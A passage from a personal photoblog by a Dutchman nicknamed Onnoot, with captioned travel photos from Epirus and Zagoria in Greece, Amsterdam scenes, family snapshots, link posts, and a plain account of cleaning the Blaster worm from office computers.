The office of the World Wildlife Fund is open to visitors. Inside: souvenirs, folders and many photos of flora and fauna.
A kafenio with a nice view to Piryi, the "towers" of Papingo.
The natural pools of Papingo can be found near the road between Mikro Papingo and Megalo Papingo. The location can be recognised by a small stream of water, a wall and a parking space. It can be a bit crowded but the walk upstream is absolutely worth the effort.
(And, gentlemen of travel agencies, don't use these photos without permission because you would be send a bill with the formidable rates of the Dutch photography federation increased by a minimum of 300% extra for unpermitted use. However, when asked beforehand I will charge very reasonable prices.)
Vertical panorama made of two photos. The local youth of Papingo used these pools to learn to swim.
Onnoot couldn't continue here without getting wet. This photo was taken around a corner by holding the camera forward while leaning over.
Next item: Vikos.
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Rafting on the Voidhomatis Photos, Greece 
Greece, Zagoria, april 30, 2005.
The bridge that brings travellers to Papingo across the river Voidhomatis is a popular starting point for rafters. With a boat of Alpine Zone you can descend the river. Konitsa's photographer, Lambros Raptis, makes photos of participants that they can view and buy afterwards. Rafting is still high on Onnoots wish list. On this panorama of three photos, captains were busy instructing their crews.
And off they go.
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Zagoria (2) Photos, Greece 
Greece, Zagoria, Voidhomatis valley, april 30, 2005.
We drove down from Aristi towards Papingo, descending to the river Voidhomatis flowing out of the Vikos gorge. Along the river is a forest of large plane trees.
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Zagoria (1) Photos, Greece 
Greece, Zagoria, april 30, 2005.
From the road near Aristi we look towards the village of Vikos, situated at the exit of the Vikos gorge, and behind that mount Tymfi. My father Tjerk is admiring two entangled trees. More of Zagoria the next few days.
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California Light and Structure Photos, Linkdump 
Beautiful light and beautiful shapes in California, photographed by Edmond Leys.
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Ayios Ilias, dwarf mountain Photos, Greece 
Greece, Konitsa, Ayios Ilias, april 27, 2005.
Konitsa town lies humble at the feet of Tymfi and Trapezitsa, seen from Ayios Ilias.
A Greek tradition: they build a church on top of a mountain and dedicate it to Ayos Ilias (saint Elia). But I haven't seen such a large cross to accompany it.
The border with Albania crosses the mountain in the background.
Citroen at 1045m, centre rear Astraka (2436m), one of the tops of Tymfi.
Aoos river, here at 400m, seen from Ayios Ilias (1045m). The difference in height is 645m. That's twice the height of Vaalserberg, the highest Dutch hill. And Ayios Ilias is only a dwarf compared to Smolikas and Tymfi.
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The amphitheatre of Dodoni Photos, Greece 
Greece, Dodoni, april 26, 2005. After the Vrellis museum we drove to Dodoni, also south of Ioannina. There is a big archeological site with traces of the ancient oracle and an amphitheatre in good condition. This is a panorama of the theatre, with the snowy tops of Tómaros in the background. Notice the two people at the centre of the theatre.
Lidy and Tjerk enjoying the view to the amphitheatre.
Centuries old stones.
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The wax statue museum of Pavlos Vrellis Greece, Photos 
Greece, Ioannina, april 26, 2005. On our way to the Vrellis museum we stopped in Ioannina.
An old house, probably once damaged in an earthquake. Often such houses are left there standing until the family has gathered enough money to repair them.
This one was opposite the street.
In the garden of the Vrellis museum.
I had a conversation with this man. He was a professor and an artist, he told me in a mixture of German and English. An idea came to my mind.
"What's your name?" I asked.
"Pavlos Vrellis," he replied.
I shook his hand enthousiastically. My friend Yorgos had written once that mister Vrellis has the habit of walking around his museum. And indeed.
The museum is built in the the typical style for northern Greece. In the beautiful Zagoria (on the other side of Ioannina) there are many of such houses, and also on mount Pilion, on the eastern coast between Thessaloniki and Athens.
Here the scene that Yorgos describes in his article:
"Undoubtedly the favourite scene is the Murder of Ali Pasha. Set in Ali's monastery hideaway, it features "kra Vassiliki" Ali's Greek wife, walking serenely away from a comically gory scene, a severed head at her feet. In one corner, a man looks in horror at his realistically-rendered severed foot, while overhead, Ali's headless body hangs over a balcony."
The serene smile of lady Vassiliki can be explained as a symbolic preview of the Greek independance from Turkey, not long afterwards.
And outside the flowers are still blooming.
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Bullets in the bottom Photos, Greece 
Greece, Ioannina, lake Pamvotis, april 25, 2005, 14:31. Onnoot goes with parents and sister to the island of Ioannina. The island is often called "Nisi" by tourists. But that is not a name: nisi means island. On the left of this photo is the island, right are the trees surrounding the castle and in the distance the snowy tops of mount Lakmos.
14:35. Lidy and Claire on the boat to the island.
14:37. A fisherman at work near the island.
14:43. "Hi guys. What are you doing?"
15:03. Old house on the island. Just when we were thinking: nobody lives there, a man walked out of the door.
15:05. Flowers in a lost corner.
15:15. Lidy, Tjerk and Claire are resting near a giant plane tree in front of the museum dedicated to Ali Pasha.
15:16. The employees of the museum are bored. The woman in red tries to burn paper waiste inside the canon. This building used to be a monastery. When dictator Ali Pasha was surrounded by the sultans soldiers, het took refuge in this monastery. He was shot from below in his bottom through the wooden floor; that's how he came to his end. The bullet holes are still visible in the floor.
15:21. A painting in the museum shows how the head of Ali Pasha was presented to the sultan, as proof of his death.
16:02. A bench and a boat on the shore of the island. The water here was filled with dead fish. If you come to the island, don't eat fish, unless it's seafish.
16:36. The boat trip back to the island offers a nice view to the mosque inside the castle.
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Wikipedia about the London bombings ICT, Linkdump In difficult times the power of Wikipedia emerges. The day is not done yet and there already is an ENORMOUS article on it in Wikipedia. The article has been edited more than 2000 times. The last time was two minutes ago - wait - half a minute ago.
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Shop in Ioannina Photos, Greece 
Greece, Ioannina, april 25, 2005, 13:52.
A typical souvenir shop. Swords, pistols, water pipes, copper and bronze plates and silver juwelry.
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Simon in Konitsa Photos, Simon 
Greece, Konitsa, april 24, 2005, 19:34.
Simon looks out the kitchen window, to the cat on the terrace. Het understands the Greek word for cat already. If someone says: cháta, he immediately looks out the window.
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Aoos gorge (4) Photos, Greece 
Greece, Aoos gorge, april 24, 2005, 13:11.
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Aoos gorge (3) Photos, Greece 
Greece, Aoos gorge, april 24, 2005, 13:02.
Middle left there is the red roof of Stomio monastery. In the right upper corner is Gamila (2497 m). Here, the river Aoos is about 500 meter above sea level.
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Aoos gorge (2) Photos, Greece Hm, where were we? Right, photos of Greece. Made with my now stolen camera.
Greece, Aoos gorge, april 24, 2005, 12:31.
Lidy admires flowers and stones against the mountain slope.
12:33. There we have such a flower. Onno - june 26, 2005, 09:55 -
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Burglary Lifelog Someone broke into my home at 6:50 AM. I woke up, and was just seconds too late to prevent him from leaving with brand new photographic equipment. I am very unhappy now, I had saved money for years and years to buy these items.
If you might run into the following stuff, please contact me:
Nikon D70 body, serial number 4234805, without battery charger;
Nikkor 50mm 1.4 AF-D lens, serial 4626753;
Nikkor 20mm 2.8 AF-D lens, serial 342239. Onno - june 21, 2005, 10:25 -
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Chick Photos, Greece 
Konitsa, Greece, june 20, 2005.
Out of the egg today.
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Summer along the river Gaasp Photos, Amsterdam, Netherlands 
Amsterdam, along the river Gaasp, june 19, 2005, 20:18.
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Aoos gorge (1) Photos, Greece 
Aoos gorge, Vikos-Aoos national park, Greece, april 24, 2005, 12:31.
Claire and Tjerk resting after a tiring walk.
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Amsterdam woodland park Photos, Netherlands, Amsterdam 
Amsterdamse bos, june 17, 2005, 13:18.
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The elegant universe Linkdump The Elegant Universe is an online science documentary of three hours in which relativity theory, quantum theory and string theory are explained. Onno - june 16, 2005, 21:29 -
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The bridge of Konitsa Photos, Greece 
Konitsa, Greece, april 24, 2005, 11:34.
The old bridge of Konitsa is with 18 meter the highest of its kind in Greece. It marks the border of the Vikos-Aoos national park.
11:38.
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Kitchen Photos, Griekenland 
Konitsa, Greece, april 23, 2005, 19:17.
In Greece people usually live in the kitchen.
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While my guitar gently weeps Linkdump, Music Very nice cover of While my guitar gently weeps. Wessel - june 14, 2005, 22:42 -
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Bar "destijl" Photos, Greece 
Konitsa, Greece, april 23, 2005, 15:09.
Yes, this bar was named after a Dutch art movement.
"Are you sure?" Maria said. "It sounds Albanian."
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Wood heaters Photos, Greece 
Konitsa, Greece, april 23 2005, 14:53.
Claire at a shop with wood heaters and ovens. In Konitsa, most people still cook on wood and warm their house with wood heaters, unlike in Holland, where almost everyone is directly connected with suppliers of natural gas.
"How lovely they are! How many kilos can I take home in the airplane? No more than twenty? What a pity."
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Simon and the turtle Photos, Greece, Simon 
Konitsa, Greece, june 14 2005.
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Time for photos of Greece Photos, Greece 
Konitsa, Greece, april 23, 2005, 14:52 Greek time.
A clock on the village square of Konitsa. In the background: Lapatos, an arm of Timfi, covered with the snow from the previous night. Onnoot has spent a month in Epirus, accompanied by his parents Lidy and Tjerk and his sister Claire. Maria and Simon were there too, and they are still there. Onnoot took 2000 photos, some of which will be posted here the coming weeks.
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Makeover of Maria's website Linkdump The music website of my Maria, www.karaferi.com, has been redesigned. It now meets the latest standards in web design, especially in that the layout has been separated from the contents using cascading style sheets (CSS). The validators of the W3C (CSS and HTML) are satisfied. By the way, those validators are very educative because they explain every error that they find. Onnoot also took a close look at the website of A List Apart, "for people who make websites". Most of Maria's works are now available as MP3 and Ogg-Vorbis, and the scores as PDF. Onno - june 9, 2005, 21:37 -
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Ansel Adams Linkdump, Photos American photographer Ansel Adams (1902-1984) is Onnoot's greatest inspiration. Onno - may 29, 2005, 17:55 -
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Kite Areal Photography Linkdump, Photos American Scott Haefner has specialised himself in Kite Areal Photography. Onno - may 29, 2005, 17:45 -
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Travelling for beginners Linkdump The Art of Travel Onno - may 29, 2005, 17:40 -
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Areal photographs Photos, Linkdump Here is a page with beautiful areal photographs, from whom I recognise one as the work of Yann Arthus-Bertrand. Onno - may 29, 2005, 17:37 -
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See the International Space Station Linkdump The International Space Station can be seen with the naked eye. You only need to know where to look.
Where is the ISS?
"The toilet seat is just 15 square centimetres," says astronaut André Kuipers in an interview. Onno - feb 21, 2005, 10:28 -
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Beware of phishers ICT Phishing is the new plague on the internet. Phishers send you fake emails, pretending to originate from big companies like Paypal and Ebay, to pursuade you to give out personal information like credit card numbers.
This quiz is a test if you can recognise phishing. Onnoot had 8 out of 10 correct. Onno - jan 4, 2005, 22:57 -
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Donate! Lifelog Make a donation to the Tsunami relief effort of Unicef. Onno - jan 3, 2005, 16:43 -
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Simon and the world Photos, Simon 
Amsterdam, december 18, 2004, 17:07.
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Alkmaar Photos, Landscapes, Netherlands 
Lindegracht, Alkmaar, Netherlands, today, 13:11.
Geest, Alkmaar, Netherlands, today, 13:18. This is probably the oldest house in Alkmaar, built around 1540.
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Blur (21) Photos, Blur 
Amsterdam, Holterbergweg, november 4, 17:34.
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D-Link DWL-650+ a bad purchase ICT Amsterdam based warehouse Mediamarkt offers D-Link DWL-650+ wifi cards for 11 euro. Quite cheap. But mine worked only once, and now, when I put the card in my Dell 1150 notebook, Windows crashes. Onno - nov 1, 2004, 14:46 -
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Bear Photos, Amsterdam, Humor 
Amsterdam, Weesperzijde, october 9, 2004, 13:21.
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Mushrooms Photos, nature, Amsterdam, Netherlands 
Amsterdam, october 12, 2004, 9:06.
In the office park of Amsterdam southeast, near the soccer stadium of Ajax, every piece of nature is carefully cut down to the ground. But now I found these mushrooms, growing exactly on the spot where they had dug up a clable a few weeks earlier.
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Learning Dutch Linkdump, Netherlands Are you coming to the Netherlands? Do you want to study the Dutch language but you don't know where to start?
Then have a look at this article at Expatica: What kind of language course is right for me. The article explains which institutes and methods there are.
And put that site in your favorites: it's a valuable source of information for anyone who wants to come to the Netherlands. Onno - oct 3, 2004, 22:29 -
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Simons feet Photos, Blur, Simon 
Amsterdam, september 19, 2004, 21:36.
Simon in the tummy tub.
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Panoramas of Amsterdam Photos, Linkdump Alphons Nieuwenhuis has taken more than 300 panorama photos of Amsterdam. An aweful lot of work, take it from Onnoot, who is already tired and sweaty after getting only one panorama right. Every stop that is worth viewing, is there. Onno - sep 10, 2004, 22:44 -
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Simon (6) Photos, Simon 
"Daddy! Press the pedal. Now!"
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Skyline Amsterdam East Photos, Amsterdam 
Amsterdam, august 20, 2004, 21:35. Panorama of about six photos.
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Simon (5) Photos, Simon 
Amsterdam, The Netherlands, august 20, 2004, 18:21.
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Simon (4) Photos, Simon, Humor 
Daddy: "Mmm. He still smells like poop."
Simon: "Mmm. He still hasn't shaved."
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Dawn Photos 
Amsterdam, august 12, 2004, 7:16.
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Toe hurt Photos, Lifelog 
Amsterdam, 11 augustus 2004, 21:12.
Wot? Distasteful? These are distasteful!
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Simon Photos, Blur, Simon 
Amsterdam, august 9, 2004, 20:19.
Onnoot keeps boring you with baby photos.
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Like mother like son Photos, Lifelog, Simon 
Amsterdam, august 9, 2004, 20:25.
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Like father like son Photos, Simon 
Amsterdam, july 24, 2004, 18:04.
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Simon plays Brahms Photos, Lifelog, Humor 
Bergen, The Netherlands, july 16, 2004.
"Mom, is that a G or an A in bar 16?"
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Building plans of Amsterdam Photos, Amsterdam, Netherlands Amsterdam, Zuiderkerk, july 10, 2004.
In the Zuiderkerk (southern church), the municipality of Amsterdam exhibits its building plans for the city.
A model of the city. The blue areas are water. The brightly colored areas are development sites. The yellow lines are highways. Foreground: Amsterdam North. Looking south. Onno - aug 10, 2004, 21:36 -
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European championship Photos, Lifelog, Simon Simon, due to an old Greek law, not only has the Dutch nationality but also the Greek, because one of his parents is Greek.
"Simon, what do you think of the championship so far?"
Shit.
"And what about Holland?"
Shit.
"What do you think of Dick Advocaat then?"
Burp.
"And what about that Swedish referee?"
Belly pain.
"Shall we make a Greek flag?"
Smile.
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Simon (1) Lifelog On june 4, 2004 my son Simon was born. Mother and child are in good condition.
Parenting is like top sport, so there will be less postings on Onnoot for a while. Onno - june 8, 2004, 19:21 -
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Friday night skaters in Amsterdam Lifelog Every friday night, a group of hundreds of skaters on skeelers tours through Amsterdam. At each crossing, special skaters with reflective clothing block other traffic for perhaps ten minutes until the skaters have safely passed. Onnoot wants to make a photo to show you this phenomenon, but where to find them? Every friday they take a different route. But now Onnoot has found their website. Onno - may 28, 2004, 22:54 -
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Battling Blaster ICT Onnoot recently had to go to Spain for his work to remove several computer viruses.
The biggest problems were caused by the Blaster virus. Blaster spreads not by email but by internet connection from computer to computer.
Sometimes parts of Windows are damaged by a virus infection. Therefore Onnoot choose to reinstall Windows from scratch. By the way, Windows 2000 has a repair function, that can be started from cdrom, and it does not require you to reinstall all applications.
With the clean installation, the first thing to do was Windows Update. You probably know, that Windows Update is absolutely necessary to prevent a lot of trouble on your computer. Windows Update also contains a patch against the Blaster virus.
Unfortunately, the PC became infected with Blaster after being connected via ADSL for only a few minutes. Immediately, Blaster blocks the Windows Update website: it turns into a blank page.
Then Onnoot tried to install ZoneAlarm to keep out Blaster. That didn't turn out well: ZoneAlarm refused to let me change the internet zone. (After that, Onnoot discovered Sygate, a very pleasant personal firewall, and less stubborn.)
Then Onnoot switched off the ADSL and connected via an analogue modem to Xs4all in the Netherlands. Onnoot remembered that Xs4all blocks spreading of Blaster on their systems. Alas, a full Windows Update turned out to take half a day. Onnoot didn't want to wait that long, not even with the Costa del Sol at walking distance, because Onnoot does not swim when he is being payed.
So Onnoot went to find the specific patch that makes Windows immune to Blaster. That patch is KB823980. After downloading and installing it, the computer was safe from Blaster infections and Onnoot could use the ADSL connection again. Then Onnoot ran a complete Windows Update.
How could Blaster strike in the first place? Technicians from Telefonica once had configured the ADSL modems to allow incoming Laplink connections. It turned out they had opened all TCP ports. That is more than 65000, while only 1 port is needed for Laplink. Also the port that Blaster uses to spread itself, was open. That was factor one.
Factor two was, that Windows Update had never been run. The local manager was not aware that this is absolutely necessary to keep your computers safe.
Factor three: Telefonica has a monopoly, so their ADSL is expensive and the service is bad. At Telefonica, they don't seem to know or care that they are spreading Blaster. A serieus provider like the Dutch Xs4all just blocks the port that Blaster uses to spread. Xs4all started doing this a few days after Blaster first became known. As a costumer of Xs4all, it is practically impossible to get infected by Blaster. In Spain, Blaster uses a lot of bandwith and therefore slows down ADSL connections. It would be good for Spanish internet if someone at Telefonica would wake up. Onno - apr 20, 2004, 11:33 -
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Quote (1) ICT Unfortunately Microsoft (like usual) decided to completely ignore the standard and do things their own way.
Written by Fyodor, who created number one security tool nmap, in the manual page of that tool. Onno - mar 25, 2004, 20:15 -
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Orkut sucks ICT Karin Spaink, a Dutch reporter, heavily critisizes the increasingly popular who-knows-who site Orkut. Orkut totally ignores the privacy and rights of its users.
Here is her article in web magazine Netkwesties (Dutch language only). Onno - feb 26, 2004, 15:55 -
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Bags with sauce Photos, Netherlands, Amsterdam 
Amsterdam, Beukenplein, supermarket De Wit, january 28, 2004, 12:39.
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Superfruit at Krugers quare Photos, Amsterdam, Netherlands 
Amsterdam, Krugerplein, january 28, 2004, 12:24.
After we tried the local supermarkets, we found the best fruit at a Turkish shop at the Krugerplein. The Turkish shop at Beukenplein is good too, especially for the delicious olives from Kalamata. We buy our Feta (sheep cheese) from the supermarket, since we discovered they have Dodoni feta, from Ioannina, where half of my family-in-law lives. (Don't use Danish feta: compared to the Greek feta it tasts like plastic.)
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Amsterdam Arena in the snow Photos, Amsterdam, Netherlands, Panoramas 
Amsterdam southeast, Arena and offices, janurary 29, 2004, 9:10. Panorama of 3 photos.
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The rivers Gaasp and Gein Photos, Landscapes, Netherlands 
Netherlands, Diemen, Stammerdijk along the river Gaasp, 12:41. Panorama of 3 photos.
13:00.
13:22. Panorama of 3 photos. A mill, used for pumping water, dating from 1707.
Driemond, Near Amsterdam, 13:31.
Amsterdam-Rijn canal, 13:58.
Amsterdam-Rijn canal, at fort Nigtevecht, 14:38
At fort Nigtevecht, 14:45.
Near Abcoude, south of Amsterdam, western dike of the river Gein, 15:12.
15:18.
15:23.
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Italy and Europe Humor This funny flash-movie describes some cultural differences between Italians and other Europeans.
[Via Karen Drost on the Webprof discussion list] Onno - jan 21, 2004, 15:49 -
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23860789 minutes remaining ICT, humor 
"Moving file... 23860789 minutes remaining"
This image was not manipulated.
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Looks like you're committing suicide ICT, Linkdump, Humor 
"Office Assistant can help you write your suicide note."
(Satire by David Deckert)
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Lane (2) Photos, Netherlands, Bergen, Landscapes 
Bergen, The Netherlands, Schapenlaan, december 25, 2003, 14:51.
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Lane (1) Photos, Netherlands, Bergen, Landscapes 
Bergen, Zuidlaan, december 25, 2003, 15:02.
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Rain shower Photos, Amsterdam, Netherlands 
Amsterdam, bicycle path Keienbergweg, december 22, 2003, 9:15.
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Devil Photos, Amsterdam, Netherlands, People, Lifelog 
Amsterdam, Zeeburgerstraat/Zeeburgerdijk, december 20, 2003, 12:07.
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www.osnews.com ICT, Linkdump www.osnews.com has omang others many reviews of Linux distributions.
Found through librenix.com, a portal that points to reviews elsewhere. Onno - dec 24, 2003, 22:41 -
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Office Center Photos, Amsterdam, Netherlands 
Amsterdam, Spaklerweg, december 18, 2003, 9:07.
The Office Center in morning light.
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Crazy Hans Photos, ICT, Rotterdam, Netherlands 
Rotterdam, Crazy Hans, december 17, 2003, 12:52.
The coolest computershop in all of Rotterdam.
[update: they went bankrupt.]
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Sunrise Photos, Amsterdam, Netherlands 
Amsterdam southeast, december 16, 2003, 9:06.
Arena soccer stadium and offices.
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The Iraqi Linux user group ICT There now is a Iraqi Linux user group. The group already has two members, if this article is correct. That is because Iraq has a vivid trade in illegal software. All software costs 1 dollar. So the need for alternative operating systems is not so big yet. That is likely to change when copyrights are established. It's good that both initiators show the insight to embrace open source software, now that the Iraqi IT business is still like a newly formatted harddisk. Onno - dec 24, 2003, 00:08 -
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Up to date Lifelog On may 17, the Canon Powershot A60 arrived. On september 17, Onnoot had this website ready to publish photos. Now, december 17, Onnoot is up to date at last.
Onnoot took in seven months 23 photos per day average. From these 4750 photos, you saw the best 300. Onnoot hopes you liked them.
Onnoot goes on, be it a bit slower. Onnoot also has folders full with negatives. If you are interested, Onnoot will have a look of they can be scanned. Onno - dec 17, 2003, 00:25 -
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Blur (20) Photos, Blur 
Amsterdam, Nieuwmarkt, december 15, 2003, 17:48.
A road threshold.
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Blur (19) Photos, Blur 
Amsterdam, Nieuwmarkt, 14 december 2003, 17:03.
Lightning? A spark? No, a street light reflected by the wet pavement.
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Blur (18) Photos, Blur 
Amsterdam, Geldersekade, december 14, 2003, 17:03.
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Amsterdam north Photos, Amsterdam, Netherlands, drops 
Amsterdam, Asterweg, december 14, 2003, 16:06.
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Sunrise above museum of navigation Photos, Amsterdam, Netherlands 
Amsterdam, between museum of navigation and central station, december 12, 2003, 9:00.
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Rembrandt Tower (2) Photos, Amsterdam, Netherlands 
Amsterdam, Omval, december 11, 2003, 17:36.
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Omval Photos, Netherlands, Amsterdam 
Amsterdam, bicycle path across Omval office area, december 9, 2003, 8:58.
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Pond Photos, Bergen, Netherlands 
Bergen, december 7, 2003, 10:32.
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Globe (3) Photos, Netherlands, Alkmaar 
Alkmaar, Hema warehouse, december 6, 2003, 12:07.
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Bergerweg Photos, Bergen, Alkmaar, Netherlands 
Bergen, Bergerweg, december 6, 2003, 10:24.
Maria in the bus to Alkmaar.
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Printwork Photos 
Amsterdam, abri Ceintuurbaan/Hobbemakade, december 3, 2003, 23:20.
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Crossing Treublaan Photos, Amsterdam, Netherlands 
Amsterdam, Treublaan/Weesperzijde, november 27, 2003, 17:50.
One of the most chaotic crossings, cyclists concerned.
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Blur (17) Photos, Amsterdam, Netherlands, Blur 
Amsterdam, Spaklerweg, november 27, 2003, 17:45.
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Blur (16) Photos, Netherlands, Amsterdam, Blur 
Amsterdam, Holterbergweg, november 27, 2003, 17:38.
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Blur (15) Photos, Amsterdam, Netherlands, Blur 
Amsterdam, bicycle path Keienbergweg, november 27, 2003, 17:32.
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Offices in fog Photos, Amsterdam, Netherlands 
Amsterdam, Villa Arena, november 25, 2003, 9:16.
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Dead pigion Photos, Netherlands, Amsterdam 
Amsterdam, Keienbergweg, november 24, 2003, 15:07.
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Late bee Photos, Nature, Amsterdam, Netherlands 
Amsterdam, Oosterpark, november 22, 2003, 14:16.
Nature is confused. What is this bee doing in november? And this blossom?
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Liz Wright Linkdump 
Beautiful South-Engelse landscapes with a bit of surrealism.
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Blossom Photos, Amsterdam, Netherlands 
Amsterdam, Kerkstraat, november 16, 2003, 11:19.
What? Blossom in november? Nature seems to be confused.
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Waiting for saint Nicholas Photos, Amsterdam, Netherlands 
Amsterdam, Magere Brug, november 16, 2003, 11:14.
Every year on december 5, the Dutch celebrate saint Nicholas (Sinterklaas), patron saint of children and sailors. The good saint comes evey year in november from his residence in Spain on a steamboat, accompanied by Black Pete (Zwarte Piet), his naughty assistant. These families are waiting to see the Sint arrive in Amsterdam.
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Amstel river (7) Photos, Amsterdam, Netherlands 
Amsterdam, Wibautstraat, november 16, 2003, 11:13.
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Steamy street Photos, Amsterdam, Netherlands 
Amsterdam, Wibautstraat, november 16, 2003, 10:56.
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Southeast Photos, Amsterdam, Netherlands 
Amsterdam, Holterbergweg, november 13, 2003, 9:02.
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Amstel river (6) Photos, Amsterdam, Netherlands 
Amsterdam, Amstel, november 9, 2003, 11:33.
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Facades Photos, Amsterdam, Netherlands 
Amsterdam, Weesperzijde, november 9, 2003, 11:31.
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Bosboom Toussaint (3) Photos, Amsterdam 
Amsterdam, Bosboom Toussaintstraat, november 7, 2003, 12:30.
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Bosboom Toussaint (2) Photos, Lifelog 
Amsterdam, Bosboom Toussaintstraat, november 7, 2003.
In the same street, a few houses further, this first photo of our coming child was taken.
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Bosboom Toussaint (1) Photos, Lifelog 
Amsterdam, Bosboom Toussaintstraat, november 7, 2003, 12:27.
In this house, third floor, backside, my parents lived when they got their first child.
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Globe (2) Photos, People 
Amsterdam, Onze Lieve Vrouwe Gasthuis hospital, november 5, 2003, 10:30.
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Blur (14) Photos, Blur 
Amsterdam, Holterbergweg, november 3, 2003, 17:46.
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Blur (13) Photos, Blur 
Amsterdam, bicycle path near Keienbergweg, november 3, 2003, 17:45.
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Sport society Photos, Lifelog 
This is the sport society SSS (sport strengthens muscles). My mother's father is sitting left from the center, beside the man with the black trousers. This was probably 1910. My grandfather lived to be hundred years old.
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From above Photos 
Bergen, The Netherlands, november 1, 2003, 18:45.
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William Vierdag Lifelog 
This is my great-great-grandfather Willem Vierdag. He lived from around 1829 until 1916. He had a textile shop in Enschede in the east of the Netherlands. he had ten children. His sixth child Bernard grew up to be a baker, and when he had a daughter of one year old, his wife died. He had a business to run, so he brought the child (the mother of my mother) to his father Willem.
"O well, we had ten already, another one won't be a problem" I guess he must have thought. And the youngest aunt of my grandmother, Mina, loved the small baby. My grandmother was spoilt in a nice way with the loveliest dresses from Willem's shop, and spoilt in an even better way by the love of her new found family.
Bernard however never spent time on his daughter. He married the sister of his late wife and got two more children, of which he called one exactly the same as my grandmother. The message couldn't be misunderstood: he didn't want to think of his first daughter.
When Bernard died, my grandmother refused her share of the inheritance. "I don't want money from a father that never loved me," she told her half-sisters, "you can keep it."
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Leaf on a wet roof Photos, Netherlands 
Gouda, The Netherlands, november 1, 2003, 15:55.
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Chinese wall Photos, Amsterdam, Netherlands 
Amsterdam, Wibautstraat, november 1, 2003, 9:52.
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Amstel river (5) Photos, Amsterdam, Netherlands, Landscapes 
Amsterdam, Amstel, october 28, 2003, 17:46.
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Tangerine on sofa Photos 
Bergen, The Netherlands, october 26, 2003, 11:33.
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Wet road Photos, Bergen, Netherlands 
Bergen, The Netherlands, october 26 2003, 11:04.
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Berger polder Photos, Landscapes, Bergen, Netherlands 
Bergen, The Netherlands, october 26, 2003, 10:40.
The skyline of Alkmaar.
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Plant in sunlight Photos, Nature, Netherlands, Bergen 
Bergen, The Netherlands, october 26, 2003, 8:29.
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Flower (2) Photos, Nature, Bergen, Netherlands, Drops 
Bergen, The Netherlands, october 25, 2003, 10:38.
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Flower (1) Photos, Nature, Netherlands, Bergen, Drops 
Bergen, The Netherlands, october 25, 2003, 10:35.
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Hedera Photos, Netherlands, Bergen, Nature, Drops 
Bergen, The Netherlands, october 25, 2003, 10:29.
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Chestnut leaf Photos, Nature, Bergen, Netherlands, Drops 
Bergen, The Netherlands, october 25, 2003, 9:31.
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Blue window Photos, Bergen, Netherlands, Drops 
Bergen, The Netherlands, october 25, 2003, 9:31.
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Blood pressure Photos, Netherlands, Bergen, People 
Bergen, The Netherlands, october 24, 2003, 12:56.
"Doctor" Maria measures the blood pressure of her mother in law.
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North Holland Photos, Netherlands, Landscapes 
Between Uitgeest and Castricum, The Netherlands, october 24, 2003, 11:44.
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Amsterdam Central Station Photos, Amsterdam, Netherlands 
Amsterdam, Central Station, october 24, 2003, 11:22.
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www.venusveldhoen.com Linkdump 
Surprising and technically well-made photos on the site of Venus Veldhoen: www.venusveldhoen.com.
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www.theevidenceproject.org Linkdump 
These children just witnessed the execution of their father. The beast that was responsible: Milosevic. More photos at www.theevidenceproject.org. (Via Esc)
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The sun brushes past the Vrolikstraat Photos, Netherlands, Amsterdam 
Amsterdam, Vrolikstraat, october 23, 2003, 18:08.
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Utrecht bow (2) Photos, Netherlands, Amsterdam, Panoramas, Landscapes 
Amsterdam, Holterbergweg, october 23, 2003, 17:51.
Small panorama of two photos.
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140_4034-wibautstraat-volkskrant.jpg Photos, Netherlands, Amsterdam 
Amsterdam, Wibautstraat, october 23, 2003, 8:52.
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East Park at night Photos, Netherlands, Amsterdam 
Amsterdam, Oosterpark, october 22, 2003, 20:27.
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Blur (12) Photos, Netherlands, Amsterdam, Blur 
Amsterdam, Holterbergweg, october 19, 2003, 20:10.
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Street portrait Photos, Germany, Cologne 
Cologne, Germany, october 16, 2003, 17:36.
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Dom Photos, Germany, Cologne 
Cologne, Germany, october 16, 2003, 17:33.
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Forever half past ten Photos, Amsterdam, Netherlands 
Amsterdam, Joan Muyskenweg, october 14, 2003, 17:54.
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Maria at the river Amstel Photos, Netherlands, Amsterdam, People 
Amsterdam, Weesperzijde, october 12, 2003, 13:04.
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Wibautstraat Photos, Netherlands, Amsterdam 
Amsterdam, Wibautstraat, october 12, 2003, 11:57.
A university building.
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Blur (11) Photos, Blur 
Amsterdam, Leidseplein, october 7, 2003, 23:08.
Reflection of a streetlight in the wet street.
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Paradiso Photos, Amsterdam, Netherlands 
Amsterdam, Paradiso concert hall, october 7, 2003.
See also Confused pianist.
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Amstel river (4) Photos, Amsterdam, Netherlands, Landscapes 
Amsterdam, river Amstel seen from Spaklerweg, october 7, 2003, 18:00.
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Utrecht bow (1) Photos, Amsterdam, Netherlands, Landscapes 
Amsterdam, near railway station Duivendrecht, october 7, 2003, 9:09.
This railway bridge should connect the city of Utrecht directly to Schiphol airport.
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Rain showers Photos, Netherlands, Amsterdam, Landscapes 
Amsterdam, near railway station Duivendrecht, october 7, 2003, 9:05.
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Corner Photos, Amsterdam, Netherlands 
Amsterdam, Vrolikstraat, october 4, 2003, 12:32.
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Lamps Photos, Amsterdam, Netherlands 
Amsterdam, Onze Lieve Vrouwe Gasthuis hospital, october 3, 2003, 21:24.
21:29.
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Wheel clamp Photos, Amsterdam, Netherlands, Humor 
Amsterdam, Platanenweg, october 2, 2003, 18:41.
It never rains but it poors. The wheel clamp was attached as penalty for parking without paying.
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Blur (10) Photos, Amsterdam, Netherlands, Blur 
Amsterdam, Oosterpark, october 1, 2003, 20:26.
Tram number three goes around the hospital. Five minutes later Onnoot came home. The phone rang. It was Maria: "I saw you! I am in the tram that you just photographed!"
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Blur (9) Photos, Amsterdam, Netherlands, Blur 
Amsterdam, corner Ruyschstraat and Weesperzijde, september 29, 2003, 21:28.
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Amstel bridge Photos, Amsterdam, Netherlands 
Amsterdam, bridge over the river Amstel, september 29, 2003, 21:16.
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Amstel river (3) Photos, Amsterdam, Netherlands 
Amsterdam, Amstel, september 27, 2003, 20:05.
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Prinsengracht Photos, Amsterdam, Netherlands 
Amsterdam, Prinsengracht, september 27, 2003, 18:51.
Prinsengracht means: canal of princes.
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Amstel river (2) Photos, Amsterdam, Netherlands 
Amsterdam, Amstel river, 23 september 2003, 18:16.
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Overamstel Photos, Amsterdam, Netherlands 
Amsterdam, industry area Overamstel, september 23, 2003, 17:59.
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Rainbow Photos, Amsterdam, Netherlands 
Amsterdam, industry area Overamstel, september 23, 2003, 8:55.
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Rembrandt Tower (1) Photos, Netherlands, Amsterdam 
Amsterdam, september 16, 2003, 8:48.
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Inbox Inbox we are in our web site updating, we are so welcomes your help and you opinion, what about our web site must be included we are really mean [!!!] and welcomes so mush for your help Onno - nov 25, 2003, 16:46 -
